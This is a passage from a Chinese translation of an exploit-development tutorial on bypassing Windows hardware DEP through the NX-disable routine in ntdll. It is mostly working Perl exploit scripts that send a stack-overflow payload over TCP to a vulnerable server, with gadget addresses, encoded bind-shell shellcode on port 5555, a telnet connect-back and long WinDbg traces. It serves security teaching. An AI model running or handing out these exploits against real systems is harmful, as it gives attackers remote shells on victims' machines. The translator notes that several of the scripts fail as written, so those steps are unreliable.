60 First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012e701 ebx= ecx=0012e565 edx=0012e700 esi= edi= eip= esp=0012e26c ebp= iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ?? 第一个地址工作正常,esi 被置 1 了, 控制传到 BBBB 地址上, 所以我们把第二个地址放在 BBBB 所在的位置上, 我们只需要注意 ebp, 当跳到第二个地址时候会在某个位置把 2 保存到 ebp-4 中去, 在这里 ebp 不是一个有效的地址, 因此操作会失败, 让我们看下 : use strict; use Socket; my $junk = "A" x 508; my $disabledep = pack('v',0x7c95371a); $disabledep = $disabledep.pack('v',0x7c91cd44); $disabledep = $disabledep."cccc"; $disabledep = $disabledep.("d" x 54); $disabledep = $disabledep.("eeee"); my $shellcode="f" x 700; # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; my $payload = $junk.$disabledep.$shellcode."\n"; print SOCKET $payload."\n"; print "[+] Payload sent, ".length($payload)." bytes\n"; close SOCKET or die "close: $!"; 程序挂掉了,windbg 显示 : (11ac.1530): Access violation - code c (first chance)

61 First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012e701 ebx= ecx=0012e565 edx=0012e700 esi= edi= eip=7c94153e esp=0012e26c ebp= iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x1a: 7c94153e 8975fc mov dword ptr [ebp-4],esi ss:0023: d=???????? 对吧 - 因为尝试写地址 ebp-4( = d) 而失败, 因此我们在执行关闭 NX 例程前, 需要调整 ebp 的值, 为了做到这一点, 我们需要把一个有效的地址放到 ebp 中, 可以用堆中的地址, 但是在关闭 NX 的例程被执行后,leave 指令也会被执行, 它会恢复 EBP 并且把 ebp 的值放到 esp 中 这样就弄乱了我们的堆栈, 一个更好的方法是让 EBP 指向我们栈 下边的指令可以完成这个任务 : - push esp / pop ebp / ret - mov esp,ebp / ret - etc 我们再次用 pvefindaddr 得到需要的地址 : 这次我们换掉第一个地址, 我们首先调整 ebp, 并确保程序执行返回的时候可以将控制转移到我们的缓冲区中, 接下来我们就开始 : 返回地址在 508 字节后被覆盖, 所以我们把用于调整 ebp 的代码地址放到这里, 下边是 exploit:

62 use strict; use Socket; my $junk = "A" x 508; my $disabledep = pack('v',0x77eedc70); #adjust EBP $disabledep = $disabledep.pack('v',0x7c95371a); #set eax to 1 $disabledep = $disabledep.pack('v',0x7c91cd44); #run NX Disable routine $disabledep = $disabledep."cccc"; $disabledep = $disabledep.("d" x 54); $disabledep = $disabledep.("eeee"); my $shellcode="f" x 700; # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; my $payload = $junk.$disabledep.$shellcode."\n"; print SOCKET $payload."\n"; print "[+] Payload sent, ".length($payload)." bytes\n"; close SOCKET or die "close: $!"; 运行这个脚本后 : (bac.1148): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012e701 ebx= ecx=0012e569 edx=0012e700 esi= edi= eip= esp=0012e274 ebp=0012e264 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ????? NX 被关闭了 ( 译注 : 这里应该没有成功关闭 NX, 因为第一个地址 0x77eedc70 上的返回指令是 ret 4, 但他并没有做相应的调整, 这导致返回后 esp 直接指向了 CCCC, 这就导致了地址 0x7c91cd44 上关闭 NX 的代码没机会得到执行 还有一个问题通过简单的把 ebp 设置成 esp, 也是不行的,ebp-4 这个变量中的 2 会被

63 后边的压栈操作冲刷掉, 所以导致关闭 NX 失败, 至少用 VC6 编译这个漏洞程序, 得出的结果是这样的, 因此要想利用成功必须在执行关闭 NX 例程前增大 ebp, 或减小 esp ),EIP 指向 CCCC,esp 指向 : 0:000> d esp 0012e DDDDDDDDDDDDDDDD 0012e DDDDDDDDDDDDDDDD 0012e DDDDDDDDDDDDDDDD 0012e2a DDEEEEFFFFFFFFFF 0012e2b FFFFFFFFFFFFFFFF 0012e2c FFFFFFFFFFFFFFFF 0012e2d FFFFFFFFFFFFFFFF 0012e2e FFFFFFFFFFFFFFFF 最终的 exploit( 译注 : 存在同样的问题 ): use strict; use Socket; my $junk = "A" x 508; my $disabledep = pack('v',0x77eedc70); #adjust EBP $disabledep = $disabledep.pack('v',0x7c95371a); #set eax to 1 $disabledep = $disabledep.pack('v',0x7c91cd44); #run NX Disable routine $disabledep = $disabledep.pack('v',0x7e47bcaf); #jmp esp (user32.dll) my $nops = "\x90" x 30; # windows/shell_bind_tcp bytes # # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=5555, RHOST= my $shellcode="\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43". "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58". "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42". "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30". "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a". "\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f". "\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35". "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f". "\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31". "\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e". "\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54". "\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b". "\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45". "\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b".

64 "\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b". "\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c". "\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53". "\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c". "\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e". "\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36". "\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47". "\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48". "\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56". "\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58". "\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38". "\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56". "\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53". "\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35". "\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58". "\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36". "\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38". "\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46". "\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59". "\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54". "\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57". "\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35". "\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38". "\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59". "\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49". "\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32". "\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a". "\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e". "\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56". "\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a". "\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30". "\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f". "\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30". "\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f". "\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a". "\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50". "\x41\x41"; # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host);

65 my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; my $payload = $junk.$disabledep.$nops.$shellcode."\n"; print SOCKET $payload."\n"; print "[+] Payload sent, ".length($payload)." bytes\n"; close SOCKET or die "close: $!"; system('telnet '.$host.' 5555'); 注意, 即使 DEP 没被启用, 这个 exploit 依然可以正常运行 关闭 HW DEP (Windows 2003 SP2) : 演示 在 windows 2003 sp2 中增加了额外的检查 ( 比较 AL 和 EBP,EBP 和 ESI), 这就要求我们稍微修改一下我们的技术, 为了能完成这个任务, 我们需要让 ebp 和 esi 都指向可写的地址 在 Windows 2003 server standard R2 SP2 系统上,ntdll!LdrpCheckNXCompatibility 是这样的 : 0:000> uf ntdll!ldrpchecknxcompatibility ntdll!ldrpchecknxcompatibility: 7c8343b4 8bff mov edi,edi 7c8343b6 55 push ebp 7c8343b7 8bec mov ebp,esp 7c8343b9 51 push ecx 7c8343ba 833db4a9887c00 cmp dword ptr [ntdll!kernel32basequerymoduledata (7c88a9b4)],0 7c8343c je ntdll!ldrpchecknxcompatibility+0x5f (7c834404) ntdll!ldrpchecknxcompatibility+0xf: 7c8343c3 8365fc00 and dword ptr [ebp-4],0 7c8343c7 56 push esi 7c8343c8 8b7508 mov esi,dword ptr [ebp+8] 7c8343cb 56 push esi 7c8343cc e call ntdll!ldrpchecksafediscdll (7c83956a) 7c8343d1 3c01 cmp al,1 7c8343d3 0f846eb10000 je ntdll!ldrpchecknxcompatibility+0x2b (7c83f547) ntdll!ldrpchecknxcompatibility+0x21: 7c8343d9 56 push esi 7c8343da e8e call ntdll!ldrpcheckappdatabase (7c8396c3)

66 7c8343df 84c0 test al,al 7c8343e1 0f8560b10000 jne ntdll!ldrpchecknxcompatibility+0x2b (7c83f547) ntdll!ldrpchecknxcompatibility+0x34: 7c8343e7 56 push esi 7c8343e8 e8e call ntdll!ldrpchecknxincompatibledllsection (7c8395d1) 7c8343ed 84c0 test al,al 7c8343ef 0f85272c0100 jne ntdll!ldrpchecknxcompatibility+0x3e (7c84701c) ntdll!ldrpchecknxcompatibility+0x45: 7c8343f5 837dfc00 cmp dword ptr [ebp-4],0 7c8343f9 0f854fb10000 jne ntdll!ldrpchecknxcompatibility+0x4b (7c83f54e) ntdll!ldrpchecknxcompatibility+0x5a: 7c8343ff 804e3780 or byte ptr [esi+37h],80h 7c e pop esi ntdll!ldrpchecknxcompatibility+0x5f: 7c c9 leave 7c c20400 ret 4 ntdll!ldrpchecknxcompatibility+0x2b: 7c83f547 c745fc mov dword ptr [ebp-4],offset <Unloaded_elp.dll>+0x1 ( ) ntdll!ldrpchecknxcompatibility+0x4b: 7c83f54e 6a04 push 4 7c83f550 8d45fc lea eax,[ebp-4] 7c83f push eax 7c83f554 6a22 push 22h 7c83f556 6aff push 0FFFFFFFFh 7c83f558 e80085feff call ntdll!zwsetinformationprocess (7c827a5d) 7c83f55d e99d4effff jmp ntdll!ldrpchecknxcompatibility+0x5a (7c8343ff) ntdll!ldrpchecknxcompatibility+0x3e: 7c84701c c745fc mov dword ptr [ebp-4],offset <Unloaded_elp.dll>+0x1 ( ) 7c e9cdd3feff jmp ntdll!ldrpchecknxcompatibility+0x45 (7c8343f5) 比较 [ebp-4] 是否为 0, 一个跳转跳到 7c83f54e, 接着就调用了 ZwSetInformationProcess ntdll!ldrpchecknxcompatibility+0x4b: 7c83f54e 6a04 push 4 7c83f550 8d45fc lea eax,[ebp-4] 7c83f push eax 7c83f554 6a22 push 22h

67 7c83f556 6aff push 0FFFFFFFFh 7c83f558 e80085feff call ntdll!zwsetinformationprocess (7c827a5d) 7c83f55d e99d4effff jmp ntdll!ldrpchecknxcompatibility+0x5a (7c8343ff) 7c83f562 0fb6fd movzx edi,ch 0:000> u 7c827a5d ntdll!zwsetinformationprocess: 7c827a5d b8ed mov eax,0edh 7c827a62 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300) 7c827a67 ff12 call dword ptr [edx] 7c827a69 c21000 ret 10h 7c827a6c 90 nop ntdll!ntsetinformationthread: 7c827a6d b8ee mov eax,0eeh 7c827a72 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300) 7c827a77 ff12 call dword ptr [edx] 执行完这个例程, 它返回到调用函数并执行到 0 7c8343ff ntdll!ldrpchecknxcompatibility+0x5a: 7c8343ff 804e3780 or byte ptr [esi+37h],80h 7c e pop esi ntdll!ldrpchecknxcompatibility+0x5f: 7c c9 leave 7c c20400 ret 4 这里 esi 被引用并弹出 esi, 接着就到达了函数的结尾 我们已经知道如何调整 ebp( 让它指向可写的内存 ), 现在我们需要对 ESI 做相同的调整, 重要的是我们要观察每条指令并监视寄存器的内容, 我们注意到当程序运行时, 不管在 ESI 中放入什么值, 程序都会跳转到 ESI 中去执行 让我们观察下边的 exploit 做了些什么, 它使用下边的两个地址来调整 esi 和 ebp c0db30 : adjust ESI (push esp, pop esi, ret) c177f8 : adjust EBP (push esp, pop ebp, ret)

68 use strict; use Socket; my $junk = "A" x 508; my $disabledep = pack('v',0x71c0db30); #adjust esi $disabledep = $disabledep.pack('v',0x77c177f8); # adjust ebp $disabledep = $disabledep.pack('v',0x7c86311d); #set eax to 1 $disabledep= $disabledep."ffff"; #4 bytes padding $disabledep = $disabledep.pack('v',0x7c8343f5); #run NX Disable routine $disabledep = $disabledep."ffff"; #4 more bytes padding $disabledep = $disabledep.pack('v',0x773ebdff); #jmp esp (user32.dll) my $nops = "\x90" x 30; my $shellcode="\xcc" x 700; # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; my $payload = $junk.$disabledep.$nops.$shellcode."\n"; print SOCKET $payload."\n";

69 print "[+] Payload sent, ".length($payload)." bytes\n"; close SOCKET or die "close: $!"; system('telnet '.$host.' 5555'); 用 windbg 启动 vulnsrv.exe, 在 0 7c8343f5 上设置断点 ( 该地址是用于禁用 NX 的例程 ), 然后运行这个程序, 并运行 exploit 攻击这个程序, 看看发生了什么 : 断点被断下来 Breakpoint 0 hit eax=0012e701 ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c8343f5 esp=0012e274 ebp=0012e268 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x45: 7c8343f5 837dfc00 cmp dword ptr [ebp-4],0 ss:0023:0012e264=0012e268 寄存器 :esi 和 ebp 都指向堆栈的附近,eax 的低位已被置 1, 所以指令 mov eax,1 被执行了 接着用命令 t 进行跟踪步入 : 0:000> t eax=0012e701 ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c8343f9 esp=0012e274 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x49: 7c8343f9 0f854fb10000 jne ntdll!ldrpchecknxcompatibility+0x4b (7c83f54e) [br=1] 0:000> t eax=0012e701 ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c83f54e esp=0012e274 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x4b: 7c83f54e 6a04 push 4 0:000> t eax=0012e701 ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c83f550 esp=0012e270 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x4d: 7c83f550 8d45fc lea eax,[ebp-4] 0:000> t eax=0012e264 ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c83f553 esp=0012e270 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x50: 7c83f push eax

70 0:000> t eax=0012e264 ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c83f554 esp=0012e26c ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x51: 7c83f554 6a22 push 22h 0:000> t eax=0012e264 ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c83f556 esp=0012e268 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x53: 7c83f556 6aff push 0FFFFFFFFh 0:000> t eax=0012e264 ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c83f558 esp=0012e264 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x55: 7c83f558 e80085feff call ntdll!zwsetinformationprocess (7c827a5d) 0:000> t eax=0012e264 ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c827a5d esp=0012e260 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!zwsetinformationprocess: 7c827a5d b8ed mov eax,0edh 0:000> t eax=000000ed ebx= ecx=0012e559 edx=0012e700 esi=0012e264 edi= eip=7c827a62 esp=0012e260 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ntsetinformationprocess+0x5: 7c827a62 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300) 0:000> t eax=000000ed ebx= ecx=0012e559 edx=7ffe0300 esi=0012e264 edi= eip=7c827a67 esp=0012e260 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ntsetinformationprocess+0xa: 7c827a67 ff12 call dword ptr [edx] ds:0023:7ffe0300={ntdll!kifastsystemcall (7c828608)} 0:000> t eax=000000ed ebx= ecx=0012e559 edx=7ffe0300 esi=0012e264 edi= eip=7c esp=0012e25c ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!kifastsystemcall: 7c bd4 mov edx,esp 0:000> t

71 eax=000000ed ebx= ecx=0012e559 edx=0012e25c esi=0012e264 edi= eip=7c82860a esp=0012e25c ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!kifastsystemcall+0x2: 7c82860a 0f34 sysenter 0:000> t eax=c000000d ebx= ecx= edx=ffffffff esi=0012e264 edi= eip=7c827a69 esp=0012e260 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ntsetinformationprocess+0xc: 7c827a69 c21000 ret 10h 0:000> t eax=c000000d ebx= ecx= edx=ffffffff esi=0012e264 edi= eip=7c83f55d esp=0012e274 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x5a: 7c83f55d e99d4effff jmp ntdll!ldrpchecknxcompatibility+0x5a (7c8343ff) 0:000> t eax=c000000d ebx= ecx= edx=ffffffff esi=0012e264 edi= eip=7c8343ff esp=0012e274 ebp=0012e268 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x5a: 7c8343ff 804e3780 or byte ptr [esi+37h],80h ds:0023:0012e29b=cc 0:000> t eax=c000000d ebx= ecx= edx=ffffffff esi=0012e264 edi= eip=7c esp=0012e274 ebp=0012e268 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x5e: 7c e pop esi 0:000> t eax=c000000d ebx= ecx= edx=ffffffff esi= edi= eip=7c esp=0012e278 ebp=0012e268 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x5f: 7c c9 leave 0:000> t eax=c000000d ebx= ecx= edx=ffffffff esi= edi= eip=7c esp=0012e26c ebp= iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!ldrpchecknxcompatibility+0x60: 7c c20400 ret 4 0:000> t eax=c000000d ebx= ecx= edx=ffffffff esi= edi= eip=0012e264 esp=0012e274 ebp= iopl=0 nv up ei ng nz na pe nc

72 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= e264 ff??? 我们所看到的是, 当函数返回时, 原来的 esi 值被放入 EIP 我们观察下 eip, 我们看到 ff ff ff ff( 它就是 edx) 0:000> d eip 0012e264 ff ff ff ff e "...d e ff bd 3e FFFF..>w e e cc cc-cc cc cc cc cc cc cc cc e2a4 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc e2b4 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc e2c4 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc e2d4 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc... 距离我们的 shellcode 已经不远了, 好吧, 我们继续调整 esi 和 ebp, 首先, 我们交换调整 ebp 和 esi 的位置, 先调整 ebp 再调整 esi use strict; use Socket; my $junk = "A" x 508; my $disabledep = pack('v',0x77c177f8); #adjust ebp $disabledep = $disabledep.pack('v',0x71c0db30); #adjust esi $disabledep = $disabledep.pack('v',0x7c86311d); #set eax to 1 $disabledep= $disabledep."gggg"; $disabledep = $disabledep.pack('v',0x7c8343f5); #run NX Disable routine $disabledep = $disabledep."hhhh"; #padding $disabledep = $disabledep.pack('v',0x773ebdff); #jmp esp (user32.dll) my $nops = "\x90" x 30; my $shellcode="\xcc" x 700; # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";

73 print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; my $payload = $junk.$disabledep.$nops.$shellcode."\n"; print SOCKET $payload."\n"; print "[+] Payload sent, ".length($payload)." bytes\n"; close SOCKET or die "close: $!"; system('telnet '.$host.' 5555'); (a50.a70): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012e761 ebx= ecx=0012e559 edx=0012e700 esi=0012e26c edi= eip= esp=0012e270 ebp=0012e264 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ????? 啊哈 - 看起来改善了不少,eip 现在成了 (= GGGG), 我们甚至不需要 jmp esp, 或 nops, 或四字节的 HHHH ( 译注 : 从前边那个 exploit 可以推测出用于调整 ebp 的返回指令是 ret 4, 但这里并没有放置填充字节, 因此设置 eax 为 1 的指令并没有被执行, 从上面的 eax 也可以说明这点 ) 看下 Esp 指向的内容 : 0:000> d esp 0012e270 f c ff bd 3e C. HHHH..>w e e cc cc cc cc cc cc e2a0 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc e2b0 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc e2c0 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc e2d0 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc e2e0 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc... 现在有一些到达 shellcode 的方法, 查看其他寄存器, 你会注意到 edx 指向 e700, 它指向 shellcode 的末尾附近, 所以如果我们可以跳转到 edx, 再执行向后的跳转,shellcode 就会被成功执行了

74 jmp edx (user32.dll) : 0 773eb603. 通过计算, 我们可以构造一个像这样的攻击串 : [jmp edx][10 nops][shellcode][more nops until edx][jump back]. 如果我们想为 shellcode 保留一些空间, 我们可以在 shellcode 后边放上 500 字节的 nop,edx 指向 e900, 它位于这 500 字节的最后 50 字节附近 因此如果我们把跳转代码放到 480 字节后边, 并做一个向后的跳转, 如果可以跳到 shellcode 前边的 nop 中, 我们就胜利了 : use strict; use Socket; my $junk = "A" x 508; my $disabledep = pack('v',0x77c177f8); #adjust ebp $disabledep = $disabledep.pack('v',0x71c0db30); #adjust esi $disabledep = $disabledep.pack('v',0x7c86311d); #set eax to 1 $disabledep= $disabledep.pack('v',0x773eb603); #jmp edx user32.dll $disabledep = $disabledep.pack('v',0x7c8343f5); #run NX Disable routine my $nops1 = "\x90" x 10; # windows/shell_bind_tcp bytes # # Encoder: x86/alpha_upper

75 # EXITFUNC=seh, LPORT=5555, RHOST= my $shellcode="\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43". "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58". "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42". "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30". "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a". "\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f". "\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35". "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f". "\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31". "\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e". "\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54". "\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b". "\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45". "\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b". "\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b". "\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c". "\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53". "\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c". 